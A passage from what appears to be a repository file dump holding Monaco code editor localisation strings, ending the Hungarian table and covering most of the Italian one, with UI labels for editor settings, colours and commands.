listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"Listák/fák kiválasztott elemének előtérszíne, amikor a lista inaktív. Egy aktív listának/fának van billentyűfőkusza, míg egy inaktívnak nincs.\",\"A lista/fa háttérszíne, amikor az egérkurzor egy adott elem fölé kerül.\",\"A lista/fa előtérszíne, amikor az egérkurzor egy adott elem fölé kerül.\",\"A lista/fa háttérszíne, amikor az elemek az egérkurzorral vannak mozgatva egyik helyről a másikra.\",\"Kiemelt találatok előtérszíne a listában/fában való keresés esetén.\",\"Csoportcímkék színe a gyorsválasztóban.\",\"Csoportok keretszíne a gyorsválasztóban.\",\"A gombok előtérszíne.\",\"A gombok háttérszíne.\",\"A gomb háttérszine, ha az egérkurzor fölötte van.\",\"A jelvények háttérszíne. A jelvények apró információs címkék, pl. a keresési eredmények számának jelzésére.\",\"A jelvények előtérszíne. A jelvények apró információs címkék, pl. a keresési eredmények számának jelzésére.\",\"A görgetősáv árnyéka, ami jelzi, hogy a nézet el van görgetve.\",\"A görgetősáv csúszkájának háttérszíne.\",\"A görgetősáv csúszkájának háttérszíne, ha az egérkurzor fölötte van.\",\"A görgetősáv csúszkájának háttérszíne, ha aktív.\",\"A hosszú ideig tartó folyamatok esetén megjelenített folyamatjelző háttérszíne.\",\"A szerkesztőablak háttérszíne.\",\"A szerkesztőablak alapértelmezett előtérszíne.\",\"A szerkesztőablak moduljainak háttérszíne, pl. a keresés/cserének.\",\"A szerkesztőablak-modulok keretszíne. A szín csak akkor van használva, ha a modul beállítása alapján rendelkezik kerettel, és a színt nem írja felül a modul.\",\"A szerkesztőablak-szakasz színe.\",\"A kijelölt szöveg színe nagy kontrasztú téma esetén.\",\"Az inaktív szerkesztőablakban található kijelölések színe.\",\"A kijelöléssel megegyező tartalmú területek színe.\",\"A keresés jelenlegi találatának színe.\",\"A keresés további találatainak színe.\",\"A keresést korlátozó terület színe.\",\"Kiemelés azon szó alatt, amely fölött lebegő elem jelenik meg.\",\"A szerkesztőablakban lebegő elemek háttérszíne.\",\"A szerkesztőablakban lebegő elemek keretszíne.\",\"Az aktív hivatkozások háttérszíne.\",\"A beillesztett szövegek háttérszíne.\",\"Az eltávolított szövegek háttérszíne.\",\"A beillesztett szövegek körvonalának színe.\",\"Az eltávolított szövegek körvonalának színe.\",\"A helyi tartalom fejlécének háttérszíne sorok között megjelenített összeolvasztási konfliktusok esetén.\",\"A helyi tartalom háttérszíne sorok között megjelenített összeolvasztási konfliktusok esetén.\",\"A beérkező tartalom fejlécének háttérszíne sorok között megjelenített összeolvasztási konfliktusok esetén.\",\"A beérkező tartalom háttérszíne sorok között megjelenített összeolvasztási konfliktusok esetén.\",\"A közös ős tartalom fejlécének háttérszíne sorok között megjelenített összeolvasztási konfliktusok esetén. \",\"A közös ős tartalom háttérszíne sorok között megjelenített összeolvasztási konfliktusok esetén. \",\"A fejlécek és az elválasztó sáv keretszíne a sorok között megjelenített összeolvasztási konfliktusok esetén.\",\"A helyi tartalom előtérszíne az áttekintő sávon összeolvasztási konfliktusok esetén.\",\"A beérkező tartalom előtérszíne az áttekintő sávon összeolvasztási konfliktusok esetén.\",\"A közös ős tartalom előtérszíne az áttekintő sávon összeolvasztási konfliktusok esetén. \"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.hu.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.it.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.it\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (nuova occorrenza)\"],\"vs/base/browser/ui/findinput/findInput\":[\"input\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Maiuscole/minuscole\",\"Parola intera\",\"Usa espressione regolare\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Errore: {0}\",\"Avviso: {0}\",\"Info: {0}\"],\"vs/base/common/keybindingLabels\":[\"CTRL\",\"MAIUSC\",\"ALT\",\"Windows\",\"CTRL\",\"MAIUSC\",\"ALT\",\"Comando\",\"CTRL\",\"MAIUSC\",\"ALT\",\"Windows\"],\"vs/base/common/severity\":[\"Errore\",\"Avviso\",\"Informazioni\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, selezione\",\"selezione\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Selezione rapida. Digitare per ridurre il numero di risultati.\",\"Selezione rapida\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Comprimi\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Non è possibile confrontare i file perché uno è troppo grande.\"],\"vs/editor/browser/widget/diffReview\":[\"Chiudi\",\"Differenza {0} di {1}: originali {2}, {3} righe, modificate {4}, righe {5}\",\"vuota\",\"originali {0}, modificate {1}: {2}\",\"+ modificate {0}: {1}\",\"- originali {0}: {1}\",\"Vai alla differenza successiva\",\"Vai alla differenza precedente\"],\"vs/editor/common/config/commonEditorConfig\":[\"Editor\",\"Controlla la famiglia di caratteri.\",\"Controlla lo spessore del carattere.\",\"Controlla le dimensioni del carattere in pixel.\",\"Controlla l'altezza della riga. Usare 0 per calcolare l'altezza della riga dalle dimensioni del carattere.\",\"Controlla la spaziatura tra le lettere in pixel.\",\"Consente di controllare la visualizzazione dei numeri di riga. I valori possibili sono 'on', 'off' e 'relative'. Con 'relative' viene visualizzato il conteggio delle righe a partire dalla posizione corrente del cursore.\",\"Colonne in corrispondenza delle quali visualizzare i righelli verticali\",\"Caratteri che verranno usati come separatori di parola quando si eseguono operazioni o spostamenti correlati a parole\",\"Numero di spazi a cui equivale una tabulazione. Quando `editor.detectIndentation` è attivo, questa impostazione viene sostituita in base al contenuto del file.\",\"È previsto 'number'. Nota: il valore \\\"auto\\\" è stato sostituito dall'impostazione `editor.detectIndentation`.\",\"Inserisce spazi quando viene premuto TAB. Quando `editor.detectIndentation` è attivo, questa impostazione viene sostituita in base al contenuto del file.\",\"È previsto 'boolean'. Nota: il valore \\\"auto\\\" è stato sostituito dall'impostazione `editor.detectIndentation`.\",\"All'apertura di un file, `editor.tabSize` e `editor.insertSpaces` verranno rilevati in base al contenuto del file.\",\"Controlla se gli angoli delle selezioni sono arrotondati\",\"Controlla se l'editor scorrerà oltre l'ultima riga\",\"Controlla se la mini mappa è visualizzata\",\"Controlla se lo slider della mini mappa viene nascosto automaticamente.\",\"Esegue il rendering dei caratteri effettivi di una riga (in contrapposizione ai blocchi colore)\",\"Limita la larghezza della mini mappa in modo da eseguire il rendering al massimo di un certo numero di colonne\",\"Controlla se inizializzare la stringa di ricerca nel Widget Trova con il testo selezionato nell'editor\",\"Controlla se l'impostazione Trova nella selezione è attivata quando vengono selezionati più caratteri o righe di testo nell'editor\",\"Il wrapping delle righe non viene eseguito.\",\"Verrà eseguito il wrapping delle righe in base alla larghezza del viewport.\",\"Verrà eseguito il wrapping delle righe alla posizione corrispondente a `editor.wordWrapColumn`.\",\"Verrà eseguito il wrapping delle righe alla posizione minima del viewport e di `editor.wordWrapColumn`.\",\"Controlla il wrapping delle righe. Valori possibili:\\n - 'off' (disabilita il wrapping),\\n - 'on' (wrapping del viewport),\\n - 'wordWrapColumn' (esegue il wrapping alla posizione corrispondente a `editor.wordWrapColumn`) o\\n - 'bounded' (esegue il wrapping alla posizione minima del viewport e di `editor.wordWrapColumn`).\",\"Controlla la colonna di wrapping dell'editor quando il valore di `editor.wordWrap` è 'wordWrapColumn' o 'bounded'.\",\"Controlla il rientro delle righe con ritorno a capo. Può essere uno dei valori seguenti: 'none', 'same' o 'indent'.\",\"Moltiplicatore da usare sui valori `deltaX` e `deltaY` degli eventi di scorrimento della rotellina del mouse\",\"Rappresenta il tasto 'Control' (ctrl) su Windows e Linux e il tasto 'Comando' (cmd) su OSX.\",\"Rappresenta il tasto 'Alt' su Windows e Linux e il tasto 'Opzione' su OSX.\",\"Il modificatore da utilizzare per aggiungere molteplici cursori con il mouse. 'ctrlCmd' rappresenta il tasto 'Control' su Windows e Linux e  il tasto 'Comando' su OSX. I gesti del mouse Vai a definizione e Apri il Link si adatteranno in modo da non entrare in conflitto con il modificatore multi-cursore.\",\"Abilita i suggerimenti rapidi all'interno di stringhe.\",\"Abilita i suggerimenti rapidi all'interno di commenti.\",\"Abilita i suggerimenti rapidi all'esterno di stringhe e commenti.\",\"Controlla se visualizzare automaticamente i suggerimenti durante la digitazione\",\"Controlla il ritardo in ms dopo il quale verranno visualizzati i suggerimenti rapidi\",\"Abilita un popup che mostra documentazione sui parametri e informazioni sui tipi mentre si digita\",\"Controlla se l'editor deve chiudere automaticamente le parentesi quadre dopo che sono state aperte\",\"Controlla se l'editor deve formattare automaticamente la riga dopo la digitazione\",\"Controlla se l'editor deve formattare automaticamente il contenuto incollato. Deve essere disponibile un formattatore che deve essere in grado di formattare un intervallo in un documento.\",\"Controlla se l'editor deve correggere automaticamente l'indentazione mentre l'utente digita, incolla o sposta delle righe. Devono essere disponibili le regole di indentazione del linguaggio.\",\"Controlla se i suggerimenti devono essere visualizzati automaticamente durante la digitazione dei caratteri trigger\",\"Controlla se i suggerimenti devono essere accettati con 'INVIO' in aggiunta a 'TAB'. In questo modo è possibile evitare ambiguità tra l'inserimento di nuove righe e l'accettazione di suggerimenti. Il valore 'smart' indica di accettare un suggerimento con 'INVIO' quando comporta una modifica al testo\",\"Controlla se accettare i suggerimenti con i caratteri di commit. Ad esempio, in JavaScript il punto e virgola (';') può essere un carattere di commit che accetta un suggerimento e digita tale carattere.\",\"Visualizza i suggerimenti dello snippet sopra gli altri suggerimenti.\",\"Visualizza i suggerimenti dello snippet sotto gli altri suggerimenti.\",\"Visualizza i suggerimenti degli snippet insieme agli altri suggerimenti.\",\"Non mostrare i suggerimenti sugli snippet.\",\"Controlla se i frammenti di codice sono visualizzati con altri suggerimenti e il modo in cui sono ordinati.\",\"Consente di controllare se, quando si copia senza aver effettuato una selezione, viene copiata la riga corrente.\",\"Controlla se calcolare i completamenti in base alle parole presenti nel documento.\",\"Dimensioni del carattere per il widget dei suggerimenti\",\"Altezza della riga per il widget dei suggerimenti\",\"Controlla se l'editor deve evidenziare gli elementi corrispondenti simili alla selezione\",\"Controlla se l'editor deve evidenziare le occorrenze di simboli semantici\",\"Controlla il numero di effetti che possono essere visualizzati nella stessa posizione nel righello delle annotazioni\",\"Controlla se deve essere disegnato un bordo intorno al righello delle annotazioni.\",\"Controlla lo stile di animazione del cursore. I valori possibili sono: 'blink', 'smooth', 'phase', 'expand' e 'solid'\",\"Ingrandisce il carattere dell'editor quando si usa la rotellina del mouse e si tiene premuto CTRL\",\"Controlla lo stile del cursore. I valori accettati sono 'block', 'block-outline', 'line', 'line-thin', 'underline' e 'underline-thin'\",\"Abilita i caratteri legatura\",\"Controlla se il cursore deve essere nascosto nel righello delle annotazioni.\",\"Consente di controllare in che modo l'editor deve eseguire il rendering dei caratteri di spazio vuoto. Le opzioni possibili sono: 'none', 'boundary' e 'all'. Con l'opzione 'boundary' non viene eseguito il rendering di singoli spazi tra le parole.\",\"Controlla se l'editor deve eseguire il rendering dei caratteri di controllo\",\"Controlla se l'editor deve eseguire il rendering delle guide con rientro\",\"Consente di controllare in che modo l'editor deve eseguire il rendering dell'evidenziazione di riga corrente. Le opzioni possibili sono 'none', 'gutter', 'line' e 'all'.\",\"Controlla se nell'editor sono visualizzate le finestre di CodeLens\",\"Controlla se per l'editor è abilitata la riduzione del codice\",\"Controlla se i controlli di riduzione sul margine della barra di scorrimento sono automaticamente nascosti.\",\"Evidenzia le parentesi corrispondenti quando se ne seleziona una.\",\"Controlla se l'editor deve eseguire il rendering del margine verticale del glifo. Il margine del glifo viene usato principalmente per il debug.\",\"Inserimento ed eliminazione dello spazio vuoto dopo le tabulazioni\",\"Rimuovi lo spazio vuoto finale inserito automaticamente\",\"Mantiene aperti gli editor rapidi anche quando si fa doppio clic sul contenuto o si preme ESC.\",\"Controlla se l'editor consentire lo spostamento di selezioni tramite trascinamento della selezione.\",\"L'editor utilizzerà API della piattaforma per rilevare quando è collegata un'utilità per la lettura dello schermo.\",\"L'editor sarà definitivamente ottimizzato per l'utilizzo con un'utilità per la lettura dello schermo.\",\"L'editor non sarà mai ottimizzato per l'utilizzo con un'utilità per la lettura dello schermo.\",\"Controlla se l'editor deve essere eseguito in una modalità ottimizzata per le utilità per la lettura dello schermo.\",\"Controlla se l'editor deve individuare i collegamenti e renderli cliccabili\",\"Controlla se l'editor diff mostra le differenze affiancate o incorporate\",\"Controlla se l'editor diff mostra come differenze le modifiche relative a spazi vuoti iniziali e finali\",\"Consente di controllare se l'editor diff mostra gli indicatori +/- per le modifiche aggiunte/rimosse\",\"Controlla se gli appunti primari di Linux devono essere supportati.\"],\"vs/editor/common/config/editorOptions\":[\"L'editor non è accessibile in questo momento. Premere Alt+F1 per le opzioni.\",\"Contenuto editor\"],\"vs/editor/common/controller/cursor\":[\"Eccezione imprevista durante l'esecuzione del comando.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Si è verificato un errore della modalità durante la suddivisione in token dell'input.\"],\"vs/editor/common/modes/modesRegistry\":[\"Testo normale\"],\"vs/editor/common/services/bulkEdit\":[\"Nel frattempo questi file sono stati modificati: {0}\",\"Non sono state effettuate modifiche\",\"Effettuate {0} modifiche al testo in {1} file\",\"Effettuate {0} modifiche al testo in un file\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Colore di sfondo per l'evidenziazione della riga alla posizione del cursore.\",\"Colore di sfondo per il bordo intorno alla riga alla posizione del cursore.\",\"Colore di sfondo degli intervalli evidenziati, ad esempio dalle funzionalità Quick Open e Trova.\",\"Colore del cursore dell'editor.\",\"Colore di sfondo del cursore editor. Permette di personalizzare il colore di un carattere quando sovrapposto da un blocco cursore.\",\"Colore dei caratteri di spazio vuoto nell'editor.\",\"Colore delle guide per i rientri dell'editor.\",\"Colore dei numeri di riga dell'editor.\",\"Colore dei righelli dell'editor.\",\"Colore primo piano delle finestre di CodeLens dell'editor\",\"Colore di sfondo delle parentesi corrispondenti\",\"Colore delle caselle di parentesi corrispondenti\",\"Colore del bordo del righello delle annotazioni.\",\"Colore di sfondo della barra di navigazione dell'editor. La barra contiene i margini di glifo e i numeri di riga.\",\"Colore primo piano degli squiggle di errore nell'editor.\",\"Colore del bordo degli squiggle di errore nell'editor.\",\"Colore primo piano degli squiggle di avviso nell'editor\",\"Colore del bordo degli squggle di avviso nell'editor.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Vai alla parentesi\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Sposta il punto di inserimento a sinistra\",\"Sposta il punto di inserimento a destra\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Trasponi lettere\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Taglia\",\"Copia\",\"Incolla\",\"Copia con evidenziazione sintassi\"],\"vs/editor/contrib/comment/common/comment\":[\"Attiva/Disattiva commento per la riga\",\"Aggiungi commento per la riga\",\"Rimuovi commento per la riga\",\"Attiva/Disattiva commento per il blocco\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Mostra il menu di scelta rapida editor\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Trova\",\"Trova\",\"Risultato precedente\",\"Risultato successivo\",\"Trova nella selezione\",\"Chiudi\",\"Sostituisci\",\"Sostituisci\",\"Sostituisci\",\"Sostituisci tutto\",\"Attiva/Disattiva modalità sostituzione\",\"Vengono evidenziati solo i primi 999 risultati, ma tutte le operazioni di ricerca funzionano sull'intero testo.\",\"{0} di {1}\",\"Nessuna impostazione corrispondente\"],\"vs/editor/contrib/find/common/findController\":[\"Trova\",\"Trova successivo\",\"Trova precedente\",\"Trova selezione successiva\",\"Trova selezione precedente\",\"Sostituisci\",\"Aggiungi selezione a risultato ricerca successivo\",\"Aggiungi selezione a risultato ricerca precedente\",\"Sposta ultima selezione a risultato ricerca successivo\",\"Sposta ultima selezione a risultato ricerca precedente\",\"Seleziona tutte le occorrenze del risultato ricerca\",\"Cambia tutte le occorrenze\",\"Mostra il termine di ricerca successivo\",\"Mostra il termine di ricerca precedente\"],\"vs/editor/contrib/folding/browser/folding\":[\"Espandi\",\"Espandi in modo ricorsivo\",\"Riduci\",\"Riduci in modo ricorsivo\",\"Riduci tutto\",\"Espandi tutto\",\"Livello riduzione {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"È stata apportata 1 modifica di formattazione a riga {0}\",\"Sono state apportate {0} modifiche di formattazione a riga {1}\",\"È stata apportata 1 modifica di formattazione tra le righe {0} e {1}\",\"Sono state apportate {0} modifiche di formattazione tra le righe {1} e {2}\",\"Formatta documento\",\"Formatta selezione\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"Non è stata trovata alcuna definizione per '{0}'\",\"Non è stata trovata alcuna definizione\",\" - Definizioni di {0}\",\"Vai alla definizione\",\"Apri definizione lateralmente\",\"Visualizza la definizione\",\"Non sono state trovate implementazioni per '{0}'\",\"Non sono state trovate implementazioni\",\"- {0} implementazioni\",\"Vai all'implementazione\",\"Anteprima implementazione\",\"Non sono state trovate definizioni di tipi per '{0}'\",\"Non sono state trovate definizioni di tipi\",\" - {0} definizioni di tipo\",\"Vai alla definizione di tipo\",\"Anteprima definizione di tipo\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Fare clic per visualizzare {0} definizioni.\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Vai a errore o avviso successivo\",\"Vai a errore o avviso precedente\",\"Colore per gli errori del widget di spostamento tra marcatori dell'editor.\",\"Colore per gli avvisi del widget di spostamento tra marcatori dell'editor.\",\"Sfondo del widget di spostamento tra marcatori dell'editor.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Visualizza passaggio del mouse\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Caricamento...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Sostituisci con il valore precedente\",\"Sostituisci con il valore successivo\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Copia la riga in alto\",\"Copia la riga in basso\",\"Sposta la riga in alto\",\"Sposta la riga in basso\",\"Ordinamento righe crescente\",\"Ordinamento righe decrescente\",\"Taglia spazio vuoto finale\",\"Elimina la riga\",\"Imposta un rientro per la riga\",\"Riduci il rientro per la riga\",\"Inserisci la riga sopra\",\"Inserisci la riga sotto\",\"Elimina tutto a sinistra\",\"Elimina tutto a destra\",\"Unisci righe\",\"Trasponi caratteri intorno al cursore\",\"Converti in maiuscolo\",\"Converti in minuscolo\"],\"vs/editor/contrib/links/browser/links\":[\"Cmd + clic per seguire il collegamento\",\"CTRL + clic per seguire il collegamento\",\"Cmd + click per eseguire il comando\",\"Ctrl + clic per eseguire il comando\",\"Alt + clic per seguire il collegamento\",\"Alt + clic per eseguire il comando\",\"Non è stato possibile aprire questo collegamento perché il formato non è valido: {0}\",\"Non è stato possibile aprire questo collegamento perché manca la destinazione.\",\"Apri il collegamento\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Aggiungi cursore sopra\",\"Aggiungi cursore sotto\",\"Aggiungi cursore alla fine delle righe\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Attiva i suggerimenti per i parametri\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, suggerimento\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Mostra correzioni ({0})\",\"Mostra correzioni\",\"Correzione rapida\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" - Riferimenti di {0}\",\"Trova tutti i riferimenti\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Caricamento...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"simbolo in {0} alla riga {1} colonna {2}\",\"1 simbolo in {0}, percorso completo {1}\",\"{0} simboli in {1}, percorso completo {2}\",\"Non sono stati trovati risultati\",\"Trovato 1 simbolo in {0}\",\"Trovati {0} simboli in {1}\",\"Trovati {0} simboli in {1} file\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Non è stato possibile risolvere il file.\",\"{0} riferimenti\",\"{0} riferimento\",\"anteprima non disponibile\",\"Riferimenti\",\"Nessun risultato\",\"Riferimenti\",\"Colore di sfondo dell'area del titolo della visualizzazione rapida.\",\"Colore del titolo della visualizzazione rapida.\",\"Colore delle informazioni del titolo della visualizzazione rapida.\",\"Colore dei bordi e della freccia della visualizzazione rapida.\",\"Colore di sfondo dell'elenco risultati della visualizzazione rapida.\",\"Colore primo piano dei nodi riga nell'elenco risultati della visualizzazione rapida.\",\"Colore primo piano dei nodi file nell'elenco risultati della visualizzazione rapida.\",\"Colore di sfondo della voce selezionata nell'elenco risultati della visualizzazione rapida.\",\"Colore primo piano della voce selezionata nell'elenco risultati della visualizzazione rapida.\",\"Colore di sfondo dell'editor di visualizzazioni rapide.\",\"Colore di sfondo della barra di navigazione nell'editor visualizzazione rapida.\",\"Colore dell'evidenziazione delle corrispondenze nell'elenco risultati della visualizzazione rapida.\",\"Colore dell'evidenziazione delle corrispondenze nell'editor di visualizzazioni rapide.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Nessun risultato.\",\"Correttamente rinominato '{0}' in '{1}'. Sommario: {2}\",\"L'esecuzione dell'operazione di ridenominazione non è riuscita.\",\"Rinomina simbolo\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Consente di rinominare l'input. Digitare il nuovo nome e premere INVIO per eseguire il commit.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Espandi SELECT\",\"Comprimi SELECT\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"L'accettazione di '{0}' ha inserito il seguente testo: {1}\",\"Attiva suggerimento\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Colore di sfondo del widget dei suggerimenti.\",\"Colore del bordo del widget dei suggerimenti.\",\"Colore primo piano del widget dei suggerimenti.\",\"Colore di sfondo della voce selezionata del widget dei suggerimenti.\",\"Colore delle evidenziazioni corrispondenze nel widget dei suggerimenti.\",\"Altre informazioni...{0}\",\"{0}, suggerimento, con dettagli\",\"{0}, suggerimento\",\"Meno informazioni... {0}\",\"Caricamento...\",\"Non ci sono suggerimenti.\",\"{0}, accettato\",\"{0}, suggerimento, con dettagli\",\"{0}, suggerimento\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Attiva/Disattiva l'uso di TAB per spostare lo stato attivo\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Colore di sfondo di un simbolo durante l'accesso in lettura, ad esempio durante la lettura di una variabile.\",\"Colore di sfondo di un simbolo durante l'accesso in scrittura, ad esempio durante la scrittura in una variabile.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Chiudi\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Override configurazione predefinita\",\"Consente di configurare le impostazioni dell'editor di cui eseguire l'override per il linguaggio {0}.\",\"Consente di configurare le impostazioni dell'editor di cui eseguire l'override per un linguaggio.\",\"Non è possibile registrare '{0}'. Corrisponde al criterio di proprietà '\\\\\\\\[.*\\\\\\\\]$' per la descrizione delle impostazioni dell'editor specifiche del linguaggio. Usare il contributo 'configurationDefaults'.\",\"Non è possibile registrare '{0}'. Questa proprietà è già registrata.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"È stato premuto ({0}). In attesa del secondo tasto...\",\"La combinazione di tasti ({0}, {1}) non è un comando.\"],\"vs/platform/message/common/message\":[\"Chiudi\",\"In seguito\",\"Annulla\"],\"vs/platform/theme/common/colorRegistry\":[\"Formato colore non valido. Usare #RGB, #RGBA, #RRGGBB o #RRGGBBAA\",\"Colori usati nell'area di lavoro.\",\"Colore primo piano. Questo colore è utilizzato solo se non viene sovrascritto da un componente.\",\"Colore primo piano globale per i messaggi di errore. Questo colore è utilizzato solamente se non viene sottoposto a override da un componente.\",\"Colore primo piano del testo che fornisce informazioni aggiuntive, ad esempio per un'etichetta di testo.\",\"Colore dei bordi degli elementi evidenziati. Questo colore è utilizzato solo se non viene sovrascritto da un componente.\",\"Un bordo supplementare attorno agli elementi per contrastarli maggiormente rispetto agli altri.\",\"Un bordo supplementare intorno agli elementi attivi per contrastarli maggiormente rispetto agli altri.\",\"Il colore di sfondo delle selezioni di testo nel workbench (ad esempio per i campi di input o aree di testo). Si noti che questo non si applica alle selezioni all'interno dell'editor.\",\"Colore dei separatori di testo.\",\"Colore primo piano dei link nel testo.\",\"Colore primo piano dei link attivi nel testo.\",\"Colore primo piano dei segmenti di testo preformattato.\",\"Colore di sfondo per le citazioni nel testo.\",\"Colore bordo per citazioni nel testo.\",\"Colore sfondo per blocchi di codice nel testo.\",\"Colore ombreggiatura dei widget, ad es. Trova/Sostituisci all'interno dell'editor.\",\"Sfondo della casella di input.\",\"Primo piano della casella di input.\",\"Bordo della casella di input.\",\"Colore del bordo di opzioni attivate nei campi di input.\",\"Colore primo piano di casella di input per il testo segnaposto.\",\"Colore di sfondo di convalida dell'input di tipo Informazione.\",\"Colore bordo di convalida dell'input di tipo Informazione.\",\"Colore di sfondo di convalida dell'input di tipo Avviso.\",\"Colore bordo di convalida dell'input di tipo Avviso.\",\"Colore di sfondo di convalida dell'input di tipo Errore.\",\"Colore bordo di convalida dell'input di tipo Errore.\",\"Sfondo dell'elenco a discesa.\",\"Primo piano dell'elenco a discesa.\",\"Bordo dell'elenco a discesa.\",\"Colore sfondo Elenco/Struttura ad albero per l'elemento evidenziato quando l'Elenco/Struttura ad albero è attivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore primo piano Elenco/Struttura ad albero per l'elemento con stato attivo quando l'Elenco/Struttura ad albero è attivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore sfondo Elenco/Struttura ad albero per l'elemento selezionato quando l'Elenco/Struttura ad albero è attivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore primo piano Elenco/Struttura ad albero per l'elemento selezionato quando l'Elenco/Struttura ad albero è attivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore sfondo Elenco/Struttura ad albero per l'elemento selezionato quando l'Elenco/Struttura ad albero è inattivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore primo piano Elenco/Struttura ad albero per l'elemento selezionato quando l'Elenco/Struttura ad albero è inattivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore sfondo Elenco/Struttura ad albero per l'elemento selezionato quando l'Elenco/Struttura ad albero è inattivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Colore primo piano Elenco/Struttura ad albero per l'elemento selezionato quando l'Elenco/Struttura ad albero è inattivo. Un Elenco/Struttura ad albero attivo\\nha il focus della tastiera, uno inattivo no.\",\"Sfondo Elenco/Struttura ad albero al passaggio del mouse sugli elementi.\",\"Primo piano Elenco/Struttura ad albero al passaggio del mouse sugli elementi.\",\"Sfondo Elenco/Struttura ad albero durante il trascinamento degli elementi selezionati.\",\"Colore primo piano Elenco/Struttura ad albero delle occorrenze trovate durante la ricerca nell'Elenco/Struttura ad albero.\",\"Colore di selezione rapida per il raggruppamento delle etichette.\",\"Colore di selezione rapida per il raggruppamento dei bordi.\",\"Colore primo piano del pulsante.\",\"Colore di sfondo del pulsante.\",\"Colore di sfondo del pulsante al passaggio del mouse.\",\"Colore di sfondo del badge. I badge sono piccole etichette informative, ad esempio per mostrare il conteggio dei risultati di una ricerca.\",\"Colore primo piano del badge. I badge sono piccole etichette informative, ad esempio per mostrare il conteggio dei risultati di una ricerca.\",\"Ombra di ScrollBar per indicare lo scorrimento della visualizzazione.\",\"Colore di sfondo dello slider della barra di 